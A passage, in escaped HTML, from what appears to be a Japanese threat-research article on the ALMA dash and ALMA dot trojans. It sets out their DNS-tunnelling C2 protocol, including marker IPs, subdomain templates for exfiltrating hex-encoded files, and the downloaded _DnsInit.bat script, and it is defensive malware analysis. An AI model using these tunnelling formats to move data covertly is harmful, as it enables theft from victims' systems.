(!!^^)\"\u306eIPv4\u30a2\u30c9\u30ec\u30b9\u3092\u53d7\u4fe1\u3059\u308b\u307e\u3067\u30af\u30a8\u30ea\u3092\u9001\u4fe1\u3057\u7d9a\u3051\u307e\u3059\u3002\u3053\u308c\u306f\u3001C2\u30b5\u30fc\u30d0\u30fc\u304c\u30c7\u30fc\u30bf\u306e\u9001\u4fe1\u3092\u7d42\u4e86\u3057\u305f\u3068\u304d\u306b\u9001\u4fe1\u3055\u308c\u307e\u3059\u3002\u56f315\u306f\u3001\"36.37.94[.]33\"\u306eIPv4\u30a2\u30c9\u30ec\u30b9\u3067ALMA\u30d3\u30fc\u30b3\u30f3\u306b\u5fdc\u7b54\u3057\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u30c7\u30fc\u30bf\u3068\u3057\u3066\u5f8c\u7d9a\u306eIPv4\u306e\u51e6\u7406\u3092\u958b\u59cb\u3059\u308b\u3088\u3046\u306b\u6307\u793a\u3059\u308bC2\u30b5\u30fc\u30d0\u30fc\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101483\" aria-describedby=\"caption-attachment-101483\" style=\"width: 962px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101483 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-222.png\" alt=\"\u56f315 C2\u30b5\u30fc\u30d0\u30fc\u304cAnswer\u30bb\u30af\u30b7\u30e7\u30f3\u306eIPv4\u30c7\u30fc\u30bf\u3067ALMA\u306e\u30d3\u30fc\u30b3\u30f3\u306b\u5fdc\u7b54\u3057\u3066\u3044\u308b\" width=\"962\" height=\"187\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-222.png 962w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-222-300x58.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-222-768x149.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-222-900x175.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-222-370x72.png 370w\" sizes=\"(max-width: 962px) 100vw, 962px\" \/><figcaption id=\"caption-attachment-101483\" class=\"wp-caption-text\">\u56f315 C2\u30b5\u30fc\u30d0\u30fc\u304cAnswer\u30bb\u30af\u30b7\u30e7\u30f3\u306eIPv4\u30c7\u30fc\u30bf\u3067ALMA\u306e\u30d3\u30fc\u30b3\u30f3\u306b\u5fdc\u7b54\u3057\u3066\u3044\u308b<\/figcaption><\/figure>\n<p>\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001C2\u30b5\u30fc\u30d0\u30fc\u304c\"33.33.94[.]94\"\u306e\u30a2\u30c9\u30ec\u30b9\u3067\u5fdc\u7b54\u3059\u308b\u307e\u3067\u3001DNS\u30af\u30a8\u30ea\u306eAnswer\u30bb\u30af\u30b7\u30e7\u30f3\u5185\u306eIPv4\u30a2\u30c9\u30ec\u30b9\u3092\u30c7\u30fc\u30bf\u3068\u3057\u3066\u6271\u3044\u307e\u3059\u3002\u56f316\u306f\u3001IPv4\u30a2\u30c9\u30ec\u30b9\u5f62\u5f0f\u3067\u30c7\u30fc\u30bf\u3092\u914d\u4fe1\u3057\u3001\u6700\u5f8c\u306b\u30c7\u30fc\u30bf\u8ee2\u9001\u7d42\u4e86\u3092\u793a\u3059\"33.33.94[.]94\"\u30a2\u30c9\u30ec\u30b9\u3092\u9001\u4fe1\u3057\u3066\u3044\u308bC2\u30b5\u30fc\u30d0\u30fc\u306e\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><figure id=\"attachment_101485\" aria-describedby=\"caption-attachment-101485\" style=\"width: 974px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101485 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-223.png\" alt=\"\u56f316 ALMA\u306f33.33.94[.]94\u306e IPv4\u30a2\u30c9\u30ec\u30b9\u3092\u53d7\u4fe1\u3059\u308b\u307e\u3067C2\u304b\u3089\u30c7\u30fc\u30bf\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u305f\u3081\u306e\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u7d9a\u3051\u308b\" width=\"974\" height=\"195\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-223.png 974w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-223-300x60.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-223-768x154.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-223-900x180.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-223-370x74.png 370w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><figcaption id=\"caption-attachment-101485\" class=\"wp-caption-text\">\u56f316 ALMA\u306f33.33.94[.]94\u306e IPv4\u30a2\u30c9\u30ec\u30b9\u3092\u53d7\u4fe1\u3059\u308b\u307e\u3067C2\u304b\u3089\u30c7\u30fc\u30bf\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u305f\u3081\u306e\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u7d9a\u3051\u308b<\/figcaption><\/figure>\u30b7\u30b9\u30c6\u30e0\u304b\u3089C2\u30b5\u30fc\u30d0\u30fc\u306b\u30c7\u30fc\u30bf\u3092\u6f0f\u51fa\u3055\u308b\u305f\u3081\u306b\u3001ALMA dash \u306f\"Uploads\"\u30d5\u30a9\u30eb\u30c0\u5185\u306e\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3092\u8aad\u307f\u53d6\u308a\u3001\u4e00\u9023\u306eDNS\u30af\u30a8\u30ea\u3092\u4ecb\u3057\u3066\u305d\u308c\u3089\u306e\u5185\u5bb9\u3092C2\u306b\u9001\u4fe1\u3057\u307e\u3059\u3002\u4e00\u9023\u306eDNS\u30af\u30a8\u30ea\u306f\u6700\u521d\u306e\u30d3\u30fc\u30b3\u30f3\u3068\u4f3c\u305f\u69cb\u9020\u3092\u6301\u3063\u3066\u3044\u3066\u3001\u4e71\u6570\u3001\u6587\u5b57\u5217 \"ID\"\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u53ce\u96c6\u3057\u305f\u30b7\u30b9\u30c6\u30e0\u60c5\u5831\u306eMD5\u30cf\u30c3\u30b7\u30e5\u304b\u3089\u751f\u6210\u3059\u308b\u4e00\u610f\u306eID\u3067\u59cb\u307e\u3063\u3066\u3044\u307e\u3059\u3002\u9055\u3044\u306f\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u305f\u6587\u5b57\u5217\"0-2D-2D\"\u3092\u542b\u3093\u3067\u3044\u308b\u3053\u3068\u3067\u3059\u3002\u3053\u308c\u306f\u3059\u3067\u306b\u4f7f\u7528\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u304c\u3001\u6b21\u306e\u3088\u3046\u306b\u7f6e\u304d\u63db\u3048\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><strong>0<\/strong> - \u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u30c7\u30fc\u30bf\u5168\u4f53\u3092\u9001\u4fe1\u3059\u308b\u76ee\u7684\u3067\u30ea\u30af\u30a8\u30b9\u30c8\u3059\u308b\u4e88\u5b9a\u306eDNS\u30af\u30a8\u30ea\u6570\u3092\u542b\u3093\u3067\u3044\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><strong>2D<\/strong> - \u6f0f\u51fa\u5bfe\u8c61\u306e\u30d5\u30a1\u30a4\u30eb\u304b\u3089\u306e10\u30d0\u30a4\u30c8\u5206\u306e\u30c7\u30fc\u30bf\u309216\u9032\u5f62\u5f0f\u3067\u8868\u3057\u305f20\u6587\u5b57\u4ee5\u4e0b\u306e\u6587\u5b57\u5217\u304c\u3053\u3053\u306b\u542b\u307e\u308c\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><strong>2D<\/strong> - \u6f0f\u51fa\u3055\u308c\u308b\u30d5\u30a1\u30a4\u30eb\u306e\u30d5\u30a1\u30a4\u30eb\u540d\u309216\u9032\u5f62\u5f0f\u3067\u8868\u3057\u305f\u6587\u5b57\u5217\u306e\u6700\u521d\u306e8\u30d0\u30a4\u30c8\u5206\u3092\u8868\u305916\u6587\u5b57\u4ee5\u4e0b\u306e\u6587\u5b57\u5217\u304c\u3053\u3053\u306b\u542b\u307e\u308c\u307e\u3059\u3002<\/p>\n<p>\u30c7\u30fc\u30bf\u6f0f\u51fa\u7528\u306e\u30af\u30a8\u30ea\u306f\u7d50\u679c\u7684\u306b\u6b21\u306e\u3088\u3046\u306a\u69cb\u9020\u3092\u6301\u3061\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">[random number between 1-9998]ID[unique identifier from MD5 hash of system information]-[number of requests needed to transfer data]-[20 characters or less for hexlified data]-[16 characters or less for hexlified filename].[c2 domain]<\/span><\/p>\n<p>\u56f317\u3068\u56f318\u306f\u3001DNS\u30c8\u30f3\u30cd\u30eb\u3092\u4ecb\u3057\u3066\u30c7\u30fc\u30bf\u3092\u6f0f\u51fa\u3055\u305b\u308bALMA\u30b3\u30df\u30e5\u30cb\u30b1\u30fc\u30bf\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u6b21\u306e2\u3064\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u306f\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\"29\"\u3068\u3044\u3046\u6570\u5b57\u3092\u9001\u4fe1\u3057\u3066\u3044\u308b\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u3059\u3079\u3066\u306e\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3059\u308b\u305f\u3081\u306b\u767a\u884c\u3059\u308b\u3053\u3068\u306b\u306a\u308bDNS\u30af\u30a8\u30ea\u306e\u7dcf\u6570\u3092\u8868\u3057\u3066\u3044\u307e\u3059\u3002\u6587\u5b57\u5217 \"5F446E73496E6974\"\u304c\u5404\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306b\u8868\u793a\u3055\u308c\u3066\u3044\u307e\u3059\u304c\u3001\u305d\u306e\u7406\u7531\u306f\u3053\u308c\u304c\u3001C2\u30b5\u30fc\u30d0\u30fc\u306b\u3088\u3063\u3066\u9001\u4fe1\u3055\u308c\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u3088\u3063\u3066\u5b9f\u884c\u3055\u308c\u308b\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u30d5\u30a1\u30a4\u30eb\u540d\"_DnsInit\"\u306e16\u9032\u8868\u73fe\u3060\u304b\u3089\u3067\u3059\u3002\u6b21\u306e2\u679a\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u306f\u3001C2\u30b5\u30fc\u30d0\u30fc\u306b\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3059\u308b\u3055\u3044\u3001\u56fa\u6709ID\"8faa2150\"\u306e\u5f8c\u308d\u306b\"1\"\u304b\u3089\u59cb\u307e\u308a\"29\"\u307e\u3067\u5897\u5206\u3059\u308b\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u304c\u7d9a\u304f\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101487\" aria-describedby=\"caption-attachment-101487\" style=\"width: 974px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101487 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-224.png\" alt=\"\u56f317 ALMA\u304c\u30af\u30a8\u30ea\u5bfe\u8c61\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u3067\u306eC2\u3078\u306e\u30c7\u30fc\u30bf\u6f0f\u51fa\u3092\u59cb\u3081\u305f\u3068\u3053\u308d\" width=\"974\" height=\"220\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-224.png 974w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-224-300x68.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-224-768x173.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-224-900x203.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-224-370x84.png 370w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><figcaption id=\"caption-attachment-101487\" class=\"wp-caption-text\">\u56f317 ALMA\u304c\u30af\u30a8\u30ea\u5bfe\u8c61\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u3067\u306eC2\u3078\u306e\u30c7\u30fc\u30bf\u6f0f\u51fa\u3092\u59cb\u3081\u305f\u3068\u3053\u308d<\/figcaption><\/figure>\n<figure id=\"attachment_101489\" aria-describedby=\"caption-attachment-101489\" style=\"width: 972px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101489 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-225.png\" alt=\"\u56f318 ALMA\u304c\u30af\u30a8\u30ea\u5bfe\u8c61\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u3067\u306eC2\u3078\u306e\u30c7\u30fc\u30bf\u6f0f\u51fa\u3092\u7d42\u4e86\u3057\u3066\u3044\u308b\u3068\u3053\u308d\" width=\"972\" height=\"185\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-225.png 972w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-225-300x57.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-225-768x146.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-225-900x171.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-225-370x70.png 370w\" sizes=\"(max-width: 972px) 100vw, 972px\" \/><figcaption id=\"caption-attachment-101489\" class=\"wp-caption-text\">\u56f318 ALMA\u304c\u30af\u30a8\u30ea\u5bfe\u8c61\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u3067\u306eC2\u3078\u306e\u30c7\u30fc\u30bf\u6f0f\u51fa\u3092\u7d42\u4e86\u3057\u3066\u3044\u308b\u3068\u3053\u308d<\/figcaption><\/figure>\n<h2>ALMA dot<\/h2>\n<p>ALMA\u306e\u4e9c\u7a2e ALMA dot\u306f\u3001ALMA dash\u3068\u975e\u5e38\u306b\u3088\u304f\u4f3c\u3066\u3044\u307e\u3059\u3002\u305f\u3060\u3057\u3001C2\u30b5\u30fc\u30d0\u306b\u9001\u4fe1\u3055\u308c\u308b\u60c5\u5831\u3068DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u5185\u306e\u30c7\u30fc\u30bf\u306e\u7279\u5b9a\u306e\u30d5\u30a9\u30fc\u30de\u30c3\u30c8\u306f\u7570\u306a\u308a\u307e\u3059\u3002ALMA dash\u304c\u53ce\u96c6\u3057\u305f\u30e6\u30fc\u30b6\u30fc\u540d\u3068ProductId\u306b\u52a0\u3048\u3066\u3001ALMA dot\u3082\"\\\\.\\PhysicalDrive\"\u306e\u30b7\u30ea\u30a2\u30eb\u756a\u53f7\u3068\u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u30fc\u540d\u3092\u53ce\u96c6\u3057\u3001\u30a2\u30f3\u30c0\u30fc\u30b9\u30b3\u30a2(\"_\")\u3067\u30b7\u30b9\u30c6\u30e0\u60c5\u5831\u3092\u9023\u7d50\u3057\u3066\u30d5\u30a3\u30fc\u30eb\u30c9\u3092\u5206\u5272\u3057\u307e\u3059\u3002dash\u3068\u540c\u69d8\u306bdot\u3082\u53ce\u96c6\u3055\u308c\u305f\u60c5\u5831\u306eMD5\u30cf\u30c3\u30b7\u30e5\u3092\u751f\u6210\u3057\u3066\u4e00\u610f\u306eID\u3068\u3057\u3066\u4f7f\u7528\u3057\u307e\u3059\u304c\u3001\u30cf\u30c3\u30b7\u30e5\u3092\u77ed\u304f\u3059\u308b\u3053\u3068\u306f\u305b\u305a\u3001\u5168\u4f53\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002C2\u3078\u306e\u6700\u521d\u306e\u30d3\u30fc\u30b3\u30f3\u306fdash\u3068\u306f\u308f\u305a\u304b\u306b\u7570\u306a\u308b\u69cb\u9020\u306b\u306a\u3063\u3066\u3044\u3066\u3001\u3053\u308c\u304c\u6839\u672c\u7684\u306b\u7570\u306a\u308b\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u3082\u305f\u3089\u3057\u307e\u3059\u3002\u5177\u4f53\u7684\u306b\u306f\u4ee5\u4e0b\u306e\u30d5\u30a9\u30fc\u30de\u30c3\u30c8\u3092\u6301\u3061\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">[random number between 1-9999999].[MD5 hash for unique identifier].[sequence number].0.2D.2D.[c2 domain]<\/span><\/p>\n<p>\u56f319\u306f\u3001\u4e71\u6570\u3001ID\u3068\u3057\u3066\u4f7f\u7528\u3055\u308c\u308b\u751f\u6210\u3055\u308c\u305f\u30b7\u30b9\u30c6\u30e0\u56fa\u6709\u30c7\u30fc\u30bf\u306eMD5\u30cf\u30c3\u30b7\u30e5\u30010\u306e\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u3092\u542b\u3080\u3001ALMA dot\u306b\u751f\u6210\u3055\u308c\u305f\u30d3\u30fc\u30b3\u30f3\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101491\" aria-describedby=\"caption-attachment-101491\" style=\"width: 974px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101491 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-226.png\" alt=\"\u56f319 ALMA dot\u306b\u3088\u3063\u3066\u751f\u6210\u3055\u308c\u305f\u30d3\u30fc\u30b3\u30f3\" width=\"974\" height=\"81\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-226.png 974w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-226-300x25.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-226-768x64.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-226-900x75.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-226-370x31.png 370w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><figcaption id=\"caption-attachment-101491\" class=\"wp-caption-text\">\u56f319 ALMA dot\u306b\u3088\u3063\u3066\u751f\u6210\u3055\u308c\u305f\u30d3\u30fc\u30b3\u30f3<\/figcaption><\/figure>\n<p>C2\u304b\u3089\u30c7\u30fc\u30bf\u3092\u53d7\u4fe1\u3059\u308b\u305f\u3081\u306b\u3001\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306fDNS\u30af\u30a8\u30ea\u306b\u5bfe\u3059\u308b\u30ec\u30b9\u30dd\u30f3\u30b9\u306eAnswer\u30bb\u30af\u30b7\u30e7\u30f3\u306b\u3042\u308bIPv4\u30a2\u30c9\u30ec\u30b9\u3092\u51e6\u7406\u3057\u307e\u3059\u3002ALMA dash\u540c\u69d8\u3001ALMA dot\u3082\u30c7\u30fc\u30bf\u9001\u4fe1\u306e\u958b\u59cb\u3068\u7d42\u4e86\u3092\u793a\u3059\u305f\u3081\u306b\u6b21\u306e2\u3064\u306eIP\u30a2\u30c9\u30ec\u30b9\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">Start \u2013 36.37.94.33 ($%^!)<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">End \u2013 33.33.94.94 (!!^^)<\/span><\/p>\n<p>\u56f320\u306f\u3001C2\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u308b\u30c7\u30fc\u30bf\u306e\u5148\u982d\u3092\u30de\u30fc\u30af\u3059\u308b\u305f\u3081\u306b\"36.37.94[.]33\"\u3068\u3044\u3046\u540c\u3058IPv4\u30a2\u30c9\u30ec\u30b9\u3092\u4f7f\u7528\u3057\u3066\u3044\u308bALMA dot\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u3053\u3067\u3082ALMA dash\u3067\u8aac\u660e\u3057\u305f\u3082\u306e\u3068\u540c\u3058\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8\"_DnsInit.bat\"\u304c\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101493\" aria-describedby=\"caption-attachment-101493\" style=\"width: 974px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101493 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-227.png\" alt=\"\u56f320 DNS\u30c8\u30f3\u30cd\u30eb\u3092\u4f7f\u7528\u3057\u3066C2\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308bALMA dot\" width=\"974\" height=\"168\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-227.png 974w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-227-300x52.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-227-768x132.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-227-900x155.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-227-370x64.png 370w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><figcaption id=\"caption-attachment-101493\" class=\"wp-caption-text\">\u56f320 DNS\u30c8\u30f3\u30cd\u30eb\u3092\u4f7f\u7528\u3057\u3066C2\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308bALMA dot<\/figcaption><\/figure>\n<p>DNS\u30c8\u30f3\u30cd\u30eb\u3092\u4ecb\u3057\u3066\u30c7\u30fc\u30bf\u3092\u6f0f\u51fa\u3059\u308b\u3055\u3044\u3001ALMA dot\u306fALMA dash\u3068\u306f\u4f3c\u3066\u3044\u308b\u3051\u308c\u3069\u3082\u7570\u306a\u3063\u305f\u69cb\u9020\u3092\u4f7f\u3044\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308aALMA dot\u306fALMA dash\u3068\u306e\u6bd4\u8f03\u3067\u30ea\u30af\u30a8\u30b9\u30c8\u3054\u3068\u306b3\u500d\u306e\u30c7\u30fc\u30bf\u91cf\u3092\u9001\u4fe1\u3067\u304d\u307e\u3059\u3002\u6b21\u306e\u69cb\u9020\u306f\u3001ALMA dot\u304c60\u6587\u5b57\u5206\u306e16\u9032\u30c7\u30fc\u30bf(30\u30d0\u30a4\u30c8)\u3068\u3001\u30c7\u30fc\u30bf\u306e\u6f0f\u51fa\u5143\u3068\u306a\u3063\u305f\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u8868\u305960\u6587\u5b57\u5206\u306e16\u9032\u30c7\u30fc\u30bf(30\u30d0\u30a4\u30c8)\u3092\u6f0f\u51fa\u3059\u308b\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">[random number between 1-9999999](IDID|idid)[MD5 hash for unique identifier].[sequence number].[total count in sequence].[60 or less characters for hexlified data].[60 or less characters for hexlified filename].[c2 domain]<\/span><\/p>\n<p>\u56f321\u306f\u3001\u524d\u306e\u56f3\u3067\u793a\u3057\u305fC2\u30b5\u30fc\u30d0\u30fc\u306b\u3088\u308a\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u305f\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u7d50\u679c\u3092\u6f0f\u51fa\u4e2d\u306eALMA dot\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u56f3\u306f\u30018\u306b\u9054\u3059\u308b\u307e\u3067\u5404\u30af\u30a8\u30ea\u3054\u3068\u306b1\u305a\u3064\u5897\u52a0\u3059\u308b\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u3092\u542b\u3080\u30af\u30a8\u30ea\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u306e\u30d5\u30a3\u30fc\u30eb\u30c9\u306e\u5024\u3067\u3001\u30b7\u30fc\u30b1\u30f3\u30b9\u5185\u306e\u30af\u30a8\u30ea\u306e\u7dcf\u6570\u3092\u8868\u3057\u3066\u3044\u307e\u3059\u3002\u6b21\u306e\u30d5\u30a3\u30fc\u30eb\u30c9\u306b\u306f\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304cC2\u306b\u9001\u4fe1\u3057\u3066\u3044\u308b30\u30d0\u30a4\u30c8\u306e16\u9032\u6570\u30c7\u30fc\u30bf\u3092\u8868\u305960\u6587\u5b57\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u6700\u5f8c\u306e\u30d5\u30a3\u30fc\u30eb\u30c9\u306f\u3001C2\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u305f \"_DnsInit.bat\"\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u7d50\u679c\u3092\u683c\u7d0d\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u3067\u3042\u308b \"_DnsInit.txt\"\u306b\u30c7\u30b3\u30fc\u30c9\u3055\u308c\u308b16\u9032\u6587\u5b57\u5217 \"5F446E73496E69742E747874\"\u3067\u3059\u3002<\/p>\n<figure id=\"attachment_101495\" aria-describedby=\"caption-attachment-101495\" style=\"width: 974px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101495 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-228.png\" alt=\"\u56f321 DNS\u30c8\u30f3\u30cd\u30eb\u7d4c\u7531\u3067\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u51fa\u529b\u7d50\u679c\u3092\u9001\u4fe1\u3059\u308bALMA dot\" width=\"974\" height=\"233\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-228.png 974w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-228-300x72.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-228-768x184.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-228-900x215.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-228-370x89.png 370w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><figcaption id=\"caption-attachment-101495\" class=\"wp-caption-text\">\u56f321 DNS\u30c8\u30f3\u30cd\u30eb\u7d4c\u7531\u3067\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u51fa\u529b\u7d50\u679c\u3092\u9001\u4fe1\u3059\u308bALMA dot<\/figcaption><\/figure>\n<h2>BONDUPDATER<\/h2>\n<p><a 